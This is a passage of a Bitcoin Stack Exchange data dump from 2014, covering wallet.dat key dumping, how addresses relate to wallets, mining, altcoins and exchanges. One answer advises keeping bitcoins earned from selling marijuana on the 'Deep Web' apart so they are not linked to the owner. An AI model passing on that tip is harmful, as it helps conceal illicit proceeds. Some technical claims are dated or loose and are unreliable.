&lt;code&gt;binarycoin.conf&lt;/code&gt;. Launch the daemon. My &lt;code&gt;wallet.dat&lt;/code&gt; remembered that there were blocks, every block was marked as &lt;code&gt;orphan&lt;/code&gt;. I've start to sniffing for my coins. My account named as &lt;code&gt;&quot;&quot;&lt;/code&gt; contain only one address. I've found a web-blockchain  www.binarycoin.info:8080/ &#xA;There was no my address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &lt;code&gt;tx ids&lt;/code&gt; in my &lt;code&gt;wallet.dat&lt;/code&gt;, on this web-blockchain I've found addresses that received the bounties. I've dumped privkeys of this addresses, and cooled down.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My nerve continue playing. What if there is no side web-blockchain. How should I discovery the &lt;code&gt;tx ids&lt;/code&gt; and thereafter &lt;code&gt;my addresses&lt;/code&gt;, and thereafter dump my &lt;code&gt;privkeys&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no option to get every address from &lt;code&gt;wallet.dat&lt;/code&gt;, only one (default) address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://github.com/joric/pywallet&quot; rel=&quot;noreferrer&quot;&gt;pywallet&lt;/a&gt;. It is for &lt;code&gt;Bitcoin&lt;/code&gt;. Nevertheless, I've dump in plain-text my &lt;code&gt;wallet.dat&lt;/code&gt;. 117 addresses with their privkeys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I compare my &lt;code&gt;real addresses&lt;/code&gt; with this 117. No one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I compare &lt;code&gt;privkeys&lt;/code&gt;. No one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to trully extract all addresses and all &lt;code&gt;privkeys&lt;/code&gt; that wallet.dat contains? &#xA;( Specially for alt-coins )&lt;/p&gt;&#xA;" OwnerUserId="13087" LastActivityDate="2017-09-02T11:26:02.530" Title="How to dump all of addresses from wallet.dat for other alt-coins?" Tags="|private-key|wallet.dat|solo-mining|altcoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21699" PostTypeId="2" ParentId="21697" CreationDate="2014-02-05T11:30:23.913" Score="1" Body="&lt;p&gt;Yes exactly. If you're using Bitcoin-QT, a wallet contains multiple addresses and therefore private-keys associated to each address. All Bitcoin cares about and knows about are addresses, which might or might not have coins assigned to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the Bitcoin-QT wallet does is it calculates the amount based on all the addresses within it that you own. So yes, you can have a wallet with multiple addresses which all essentially point to a single wallet.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-05T11:30:23.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21700" PostTypeId="2" ParentId="21697" CreationDate="2014-02-05T11:43:16.987" Score="3" Body="&lt;p&gt;In the Bitcoin protocol and network there is no concept of &quot;wallet&quot; or &quot;account&quot;. It only recognizes addresses. Whoever has the key corresponding to an address can spend the coins in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wallet is merely a collection of addresses with their corresponding keys. The Bitcoin-qt client manages for you a wallet file on your computer. Every address in this wallet is spendable by you, so the software displays the total amount in all addresses as your balance. You don't really need to know how many coins are in each address, you just want to know how much you have in total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't say that the addresses &quot;point&quot; to a wallet as that would imply the wallet is a thing on its own. Note that you can have the same address in several wallets, but that's not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other software, such as Multibit, allow you to easily manage several wallet files, and see the total balance for each.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-05T11:43:16.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21701" PostTypeId="2" ParentId="21697" CreationDate="2014-02-05T11:47:02.443" Score="1" Body="&lt;p&gt;Each address has a different amount of Bitcoins. Thw Wallet shows you the total, and it allows you to spend from them all at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you need to be careful. If you have an address whose money you do not want to mix with that of another one (e.g. one address's money comes from mining and is legal, and another comes from selling marijuana in the Deep Web) you need not to spend bitcoins from these two addresses at the same time, as that will tie them to the same key owner (you).&lt;/p&gt;&#xA;" OwnerUserId="13116" LastEditorUserId="13116" LastEditDate="2014-02-06T08:12:40.270" LastActivityDate="2014-02-06T08:12:40.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21703" PostTypeId="2" ParentId="21695" CreationDate="2014-02-05T12:31:58.290" Score="2" Body="&lt;p&gt;That means your results are being rejected. Most probably becouse someone else's found them before. Mining bitcoins at 100KH/s is useless, at 280GH/s 0.06BTC are mined daily so....&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-02-05T12:31:58.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21704" PostTypeId="2" ParentId="17175" CreationDate="2014-02-05T13:35:14.393" Score="1" Body="&lt;p&gt;Most exchanges which support USD exchange will be funded via international wire. Depending on your bank these charges can be between 10-50USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your transferring from a different currency the rate given on conversion is better than if you were to purchase USD in cash from your high street but lower than spot on forex markets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ACH / domestic transfers will come when domestic (to you) exchanges build more solid relationships with banks when more regulation comes in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trading with locally on places like localbitcoins is the best bet if the percentage in fees is larger than 5% of the amount you plan to buy. This is a good rule of thumb.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-02-05T13:35:14.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21706" PostTypeId="1" CreationDate="2014-02-05T16:38:33.073" Score="2" ViewCount="83" Body="&lt;p&gt;Given that an &quot;Agent&quot; &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;is described as&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Agents are autonomous programs that maintain their own wallet, which they use to buy server time. Money is obtained by the agent selling services. If demand exceeds supply the agents can spawn children that either survive or die depending on whether they can get enough business.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When combined with this &lt;a href=&quot;http://www.wired.com/wiredscience/2014/02/cryptography-breakthrough/&quot; rel=&quot;nofollow&quot;&gt;cryptographic breakthrough&lt;/a&gt;, it seems that &lt;a href=&quot;http://btcgeek.com/dawn-of-autonomous-corporations/&quot; rel=&quot;nofollow&quot;&gt;Virtual Corporations&lt;/a&gt; and &quot;Agents&quot;, which were purely theoretical, might now have the ability to exist and can encrypt a wallet's private key from a person who is running it.  The agent could then spend from it when pre-determined conditions are met (as verified from an &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Trust_minimization%3a_multiple_independent_oracles&quot; rel=&quot;nofollow&quot;&gt;oracle&lt;/a&gt; of some type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use this technology, based in fully homomorphic encryption, or a variant thereof, to create an autonomous agent with it's own wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other bitcoin solutions can be made with this?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-03-25T13:29:57.813" LastActivityDate="2014-03-25T13:29:57.813" Title="Does Amit Sahai's indistinguishability obfuscator enable Autonomous Virtual Corporations or &quot;Agents&quot;?" Tags="|encryption|altcoin|cryptography|contracts|oracle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21707" PostTypeId="1" CreationDate="2014-02-05T17:05:09.190" Score="0" ViewCount="341" Body="&lt;p&gt;So can I trade Bitcoin at a site like localbitcoins.com to receive money in my Neteller account and add the money I received at this Neteller account to my Neteller creditcard?&lt;/p&gt;&#xA;" OwnerUserId="13136" LastActivityDate="2016-03-21T08:32:33.243" Title="Bitcoin trade to money you receive at Neteller to your Neteller creditcard?" Tags="|bitcoin-credit-card|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21708" PostTypeId="1" AcceptedAnswerId="21710" CreationDate="2014-02-05T17:14:18.963" Score="1" ViewCount="350" Body="&lt;p&gt;I've read that there will be around 21 million BTCs. (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/&quot;&gt;How many bitcoins will there eventually be?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to my beginner understanding, it seems that miners verify the active transactions. (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8031/what-are-bitcoin-miners-really-solving&quot;&gt;What are bitcoin miners really solving?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my understanding this means that if the upper bound of 21 million bitcoins is reached, no new transactions can be made, because noone will verify them. But this would render the already available bitcoins useless... Am I wrong? How?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-04-25T20:38:14.510" Title="Who will verify any transaction when the upper bound to total number of bitcoins is reached?" Tags="|mining-theory|mining-reward|transaction-verification|reward-schedule|blockspace-market|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2014-02-06T04:28:06.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="21710" PostTypeId="2" ParentId="21708" CreationDate="2014-02-05T17:24:23.887" Score="1" Body="&lt;p&gt;Please see here &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is envisioned that over time the cumulative effect of collecting transaction fees will allow somebody creating new blocks to &quot;earn&quot; more bitcoins than will be mined from new bitcoins created by the new block itself. This is also an incentive to keep trying to create new blocks even if the value of the newly created block from the mining activity is zero in the far future. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13137" LastActivityDate="2014-02-05T17:24:23.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21712" PostTypeId="1" CreationDate="2014-02-05T18:06:48.483" Score="2" ViewCount="1322" Body="&lt;p&gt;What are some ways to connect my mining pool to another mining pool without altering any settings on the miners? &lt;/p&gt;&#xA;" OwnerUserId="13140" LastEditorUserId="56167" LastEditDate="2017-08-04T03:43:01.300" LastActivityDate="2017-08-04T03:43:01.300" Title="How to connect my mining pool to another mining pool" Tags="|mining-pools|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21713" PostTypeId="2" ParentId="16986" CreationDate="2014-02-05T18:16:22.157" Score="1" Body="&lt;p&gt;Since I am a math freak, I will use some math to describe to you why investing in mining equipment is a bad idea or not. Consider &lt;a href=&quot;http://en.wikipedia.org/wiki/Moore%27s_law&quot; rel=&quot;nofollow&quot;&gt;Moore's Law&lt;/a&gt;, to which every chip/gpu manufacturer bases their requirements to. According to Moore's Law the number of transistors that you find in CPU doubles every 2 years. Moore's law was expected to stop at around 1990 but is still happening. With new advancements in circuit technology and quantum computing theoretically it can keep going forever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What that means is that whatever you buy today will be twice as slow after 2 years, so your mining efficiency will go down asymptotically, now if in the meantime the value of bitcoin goes up exponentially you can potentially make some money in the short time that you will be using your mining equipment. But don't look at it as a long term investment point of view at all.&lt;/p&gt;&#xA;" OwnerUserId="13141" LastActivityDate="2014-02-05T18:16:22.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21717" PostTypeId="2" ParentId="21654" CreationDate="2014-02-05T22:44:35.017" Score="1" Body="&lt;p&gt;for a sample Bitcoin hashing in JS you could have a look at this:&#xA;&lt;a href=&quot;https://github.com/KaSt/Jilaku&quot; rel=&quot;nofollow&quot;&gt;https://github.com/KaSt/Jilaku&lt;/a&gt;&#xA;It's a repo I first forked and then modified to have a &quot;web miner&quot; on top of GAE.&#xA;I started the thing as a toy and then dropped the idea... Because...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, before the &quot;because&quot;, I still don't know your actual purpose. In case it's to experiment and learn the basics of how a miner works... Then any language will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case your aim is to produce a fully functional and efficient miner, then I'll continue with the &quot;because&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dropped the idea of developing a Javascript miner because there is no way that any interpreted code can be as fast as modern ways of mining, which include ASIC chips and the lot. Your computer will be running for ages, might find a good hash but by the time it found it, other miners might be 10 blocks ahead.&#xA;That Javascript miner achieves a few thousands hashes per second.&#xA;A single ASIC USB thingy will achieve 300 million hashes per second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case your aim is actually to experiment, then that JS piece of code could be of help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="13148" LastActivityDate="2014-02-05T22:44:35.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21718" PostTypeId="1" AcceptedAnswerId="21719" CreationDate="2014-02-06T00:12:47.807" Score="1" ViewCount="3795" Body="&lt;p&gt;How does Maxcoin compare with previous cryptocurrencies? &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What hash algorithm does it use? &lt;/li&gt;&#xA;&lt;li&gt;What reward schedule has been announced? &lt;/li&gt;&#xA;&lt;li&gt;Does it solve any problems that Bitcoin or another previous crypto didn't solve?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-25T22:56:47.877" LastActivityDate="2014-03-25T22:56:47.877" Title="What is Maxcoin?" Tags="|maxcoin|reward-schedule|" AnswerCount="1" CommentCount="0" ClosedDate="2020-10-23T17:30:57.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="21719" PostTypeId="2" ParentId="21718" CreationDate="2014-02-06T00:29:28.073" Score="3" Body="&lt;p&gt;MaxCoin is one of many altcoins, yet one of the few that were inspired by famous persons see, such as  &lt;a href=&quot;http://www.ronpaulcoin.com/&quot; rel=&quot;nofollow&quot;&gt;RonPaul Coin&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=396068.0&quot; rel=&quot;nofollow&quot;&gt;Coinye Coin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=438150.1920&quot; rel=&quot;nofollow&quot;&gt;As far as we know&lt;/a&gt;, &lt;code&gt;MaxCoin&lt;/code&gt; is going to use the&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-3#Examples_of_SHA-3_.28Keccak.29_variants&quot; rel=&quot;nofollow&quot;&gt;SHA-3 (Keccak) &lt;/a&gt; cryptographic hash function, which should in the beginning allow only &lt;code&gt;CPU miners&lt;/code&gt; to mine. According to &lt;a href=&quot;http://www.youtube.com/watch?v=_Q684UxfDSU&quot; rel=&quot;nofollow&quot;&gt;a statement&lt;/a&gt; of the creators, it is planned as a &lt;code&gt;mine-coin for everyone&lt;/code&gt; having a GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technical aspects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrypt or SHA-256? Keccak (SHA-3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many coins? 250,000,000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block reward? 96 MaxCoin per block, halving every ~12 months&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty? Retargeting using Kimoto Gravity Well algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block time? 30 seconds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact this coin doesn't solve any significant Bitcoin (sometimes arguable) &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;weaknesses&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we take a look at the interest e.g. in &lt;a href=&quot;https://twitter.com/maxcoinproject&quot; rel=&quot;nofollow&quot;&gt;Twitter followers&lt;/a&gt; that have grown from zero to 6.6k within 2 weeks this is a lot compared to e.g. &lt;a href=&quot;https://twitter.com/ZerocoinProject&quot; rel=&quot;nofollow&quot;&gt;Zerocoin&lt;/a&gt; that has 1.6k followers after about year and a half activity. We might speak about a cryptocurrency &lt;a href=&quot;http://en.wikipedia.org/wiki/Dot-com_bubble&quot; rel=&quot;nofollow&quot;&gt;Dot-com bubble&lt;/a&gt; as this altcoin doesn't have any significant additional technical or economical value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit No.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My comparison about &lt;code&gt;Twitter followers&lt;/code&gt; turns out being very misleading as the &lt;a href=&quot;https://twitter.com/CoinyewestCoins&quot; rel=&quot;nofollow&quot;&gt;Coinye West Coin&lt;/a&gt; has now 22K followers and the it's real successor &lt;a href=&quot;https://twitter.com/CoinyeCoin&quot; rel=&quot;nofollow&quot;&gt;CoinyeCoin&lt;/a&gt; has just 2,2K.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="5406" LastEditDate="2014-03-02T10:02:46.453" LastActivityDate="2014-03-02T10:02:46.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21720" PostTypeId="1" AcceptedAnswerId="21738" CreationDate="2014-02-06T02:17:44.633" Score="2" ViewCount="1350" Body="&lt;p&gt;I'm looking for a good place to buy and sell litecoins in Canada. Does anyone have a good list for reference? I know of &lt;a href=&quot;https://www.vaultofsatoshi.com/&quot; rel=&quot;nofollow&quot;&gt;Vault of Satoshi&lt;/a&gt; and a newer service &lt;a href=&quot;http://harbor.ly&quot; rel=&quot;nofollow&quot;&gt;Harborly&lt;/a&gt;, but that's about it.&lt;/p&gt;&#xA;" OwnerUserId="4586" LastEditorUserId="4586" LastEditDate="2014-02-08T20:19:36.380" LastActivityDate="2017-12-21T20:29:02.307" Title="Where can I buy Litecoins in Canada?" Tags="|litecoin|currencies|canada|" AnswerCount="3" CommentCount="0" ClosedDate="2014-02-08T14:08:20.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="21721" PostTypeId="1" CreationDate="2014-02-06T03:56:53.520" Score="8" ViewCount="1795" Body="&lt;p&gt;An ecommerce site is using BIP32 wallets for receiving order payments from a tree of child keys where each leaf node is unique to one purchase transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it common for the site to immediately send the received coins to its superwallet (master node) upon X confirmations? If so, how would you go about sending all the coins in the entire tree of child keys (which can be tons of nodes depending on the number of transactions) to the super wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how would u know when a payment is sent to one of the derived addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume the case with a derivation path of &lt;code&gt;m/k'/0/i&lt;/code&gt;, where &lt;code&gt;m&lt;/code&gt; is the master node, ever user has a &lt;code&gt;k&lt;/code&gt; node and &lt;code&gt;i&lt;/code&gt; is his i'th purchase transaction.&lt;/p&gt;&#xA;" OwnerUserId="13157" LastEditorUserId="13157" LastEditDate="2014-02-06T06:10:54.110" LastActivityDate="2015-03-18T20:04:22.313" Title="Retrieving all the funds from BIP32 derived wallets" Tags="|transactions|wallet|blockchain|address|bip32-hd-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21723" PostTypeId="2" ParentId="21720" CreationDate="2014-02-06T05:53:45.057" Score="1" Body="&lt;p&gt;If you're OK to exchange Bitcoin for Litecoin, then you have a few more options such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://vircurex.com/&quot; rel=&quot;nofollow&quot;&gt;https://vircurex.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cryptsy.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptsy.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3724" LastActivityDate="2014-02-06T05:53:45.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21724" PostTypeId="2" ParentId="21697" CreationDate="2014-02-06T08:51:14.233" Score="0" Body="&lt;p&gt;Let's go a little to the basics of how Bitcoin actually works. At least in a summarised, high level view.&#xA;Your Bitcoin address balance is the sum (net) of all the transactions that that originated or terminated at your Bitcoin address. For this reason, anybody on earth, knowing your Bitcoin address, can determine how many Bitcoins you hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin address is what is generally called the &quot;public&quot; part of the generated pairs of keys that identify uniquely your deposits. If you were to wonder what I'm talking about, please refer to &lt;a href=&quot;http://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;this document&lt;/a&gt; that gives an explanation of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet merely stores these pairs, public and private, and is able to reconstruct the balance of the addresses by navigating through all the transactions of the synchronised blockchain. There is no relation &quot;one wallet - one address / multiple addresses&quot;. The wallet is merely a digital container, but a piece of paper with both the public and private keys written on it could be a container too (just a little less useful ;) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it clarifies.&lt;/p&gt;&#xA;" OwnerUserId="13148" LastActivityDate="2014-02-06T08:51:14.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21725" PostTypeId="2" ParentId="19223" CreationDate="2014-02-06T08:56:38.127" Score="1" Body="&lt;p&gt;A bit more of info would have been helpful...&#xA;Let's see, if you mention your wallet, I understand that you're mining by having your wallet mining for you (solo-mining) and not via a pool. In case this were to be true, you'd have to make sure that your wallet is up to date and that you have at least one or two nodes listed in your conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you were mining via a pool, I'd make sure the pool is still up. The fact you don't see any new transactions could be for two reasons: &#xA;1) The power you put to solo-mine is not enough anymore, difficulty has risen too much and your computer can't mine efficiently anymore.&#xA;2) Check that you're still really synchronised with the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="13148" LastActivityDate="2014-02-06T08:56:38.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21727" PostTypeId="1" CreationDate="2014-02-06T09:47:02.900" Score="0" ViewCount="1045" Body="&lt;p&gt;I've got two R9 290, using cgminer I'm getting nothing but trouble. I'm using the 13.12 driver and installed the 2.8 SDK. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I launch cgminer it sees both cards, GPU0 and GPU1. They both happily start mining, but after about 30 seconds cgminer hangs for a few seconds and GPU0 starts dropping its hashrate (it gives HW:1). I'm not sure what's causing the issue since both cards are identitical and I've only defined the settings once using &lt;code&gt;-g 2&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen that there are some difficulties with the particular card (had to define --no-asl to stop it from crashing the display drivers). Does anyone have any tips or clues to find the problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running two Gigabyte R9 290 with an i7-930, 18 GB memory and a 1000w PSU on Windows 7 professional x64.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative to cgminer for ATI cards which can succesfully use the ASL api? &lt;/p&gt;&#xA;" OwnerUserId="13162" LastActivityDate="2014-04-24T12:01:50.760" Title="cgminer with two R9 290 giving me headaches" Tags="|cgminer|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21728" PostTypeId="2" ParentId="19274" CreationDate="2014-02-06T10:01:15.777" Score="0" Body="&lt;p&gt;bitcoind is a very huge app&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should test this by yourself before. I'm currently trying to test dictionary attack. 100k addresses made my &lt;code&gt;wallet.dat&lt;/code&gt; to &lt;strong&gt;50mb&lt;/strong&gt;. After first 50k speed of adding new address radically decreased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no option to remove address from wallet.dat for secure reason, to preventing loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might look at &lt;a href=&quot;https://github.com/joric/pywallet&quot; rel=&quot;nofollow&quot;&gt;pywallet&lt;/a&gt;, This little python script can dump you &lt;code&gt;wallet.dat&lt;/code&gt; in plain-text. Probably, wrapping back from plain to binary not a hard task, for even a young programmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like side api, what @mulllhausen has mentioned, is the best, light solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanitygen&lt;/a&gt;, you can generate vanity addresses by ajax+cgi user's request and check by &lt;code&gt;blockchain.info api&lt;/code&gt; confirmation, and send e-mail to your work-box with &lt;code&gt;privkey&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't know what kind of obfuscation exchanges used, like cryptsy or mtgox. Anyway, looks like keeping alive default bitcoind daemon on the webserver not a good idea.&lt;/p&gt;&#xA;" OwnerUserId="13087" LastActivityDate="2014-02-06T10:01:15.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21729" PostTypeId="2" ParentId="21727" CreationDate="2014-02-06T10:15:29.863" Score="0" Body="&lt;p&gt;R290 tends to overheat. Then it automatically starts to lower frequency to avoid HW damage. You have to provide adequate cooling for it. &#xA;Some units are worse than others. It usually helps to replace thermal compound under its cooler. The one from factory is usually of very bad quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &#xA;&lt;a href=&quot;http://www.tomshardware.com/reviews/radeon-r9-290x-thermal-paste-efficiency,3678.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tomshardware.com/reviews/radeon-r9-290x-thermal-paste-efficiency,3678.html&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3908" LastActivityDate="2014-02-06T10:15:29.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21730" PostTypeId="1" AcceptedAnswerId="22265" CreationDate="2014-02-06T12:04:16.813" Score="22" ViewCount="13954" Body="&lt;p&gt;Maxcoin will use the &lt;code&gt;Kimoto Gravity Well (KGW)&lt;/code&gt; to regulate the difficulty. From what I could find about the KGW, it retargets after every block and adjusts very quickly, e.g. when multipools add and retract mining power to a smaller coin's network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, &lt;code&gt;KGW = 1 + (0.7084 * (PastBlocksMass/144)^(-1.228))&lt;/code&gt; (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=240861.msg3040291#msg3040291&quot; rel=&quot;noreferrer&quot;&gt;-&gt; Introductory post by Kimoto&lt;/a&gt;) describes how to calculate the Kimoto Gravity Well. On another source, it was stated that &lt;em&gt;&quot;KGW is applied if the hash rate is high, and 1/KGW when the hash rate is low&quot;&lt;/em&gt; (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=441402.msg4907201#msg4907201&quot; rel=&quot;noreferrer&quot;&gt;-&gt; Post on Catcoin's adoption of KGW&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leaves me with three questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What does &lt;code&gt;PastBlocksMass&lt;/code&gt; refer to?&lt;/li&gt;&#xA;&lt;li&gt;Does KGW only rely on the time required to find the previous block?&lt;/li&gt;&#xA;&lt;li&gt;Why/How does the above formula produce the described fast adaptation of the difficulty?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-11T09:45:29.593" LastActivityDate="2014-09-11T09:45:29.593" Title="How does the Kimoto Gravity Well regulate difficulty?" Tags="|difficulty|algorithms|maxcoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21732" PostTypeId="1" CreationDate="2014-02-06T12:29:51.870" Score="2" ViewCount="800" Body="&lt;p&gt;Pretty all exchanges use private and public key. We sign API request with our private key using HMAC algorithm. &lt;br&gt;What's the point of doing so when there is already HTTPS connection?&lt;br&gt;&#xA;HTTPS provides both data integrity and ensures security of the transmission.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't it enough to just POST our credentials like &lt;code&gt;api.exchange.com?key=key&amp;amp;private_key=private_key&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2014-02-06T16:47:00.593" Title="Why API of bitcoin exchanges use HMAC over HTTPS/SSL?" Tags="|exchanges|api|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
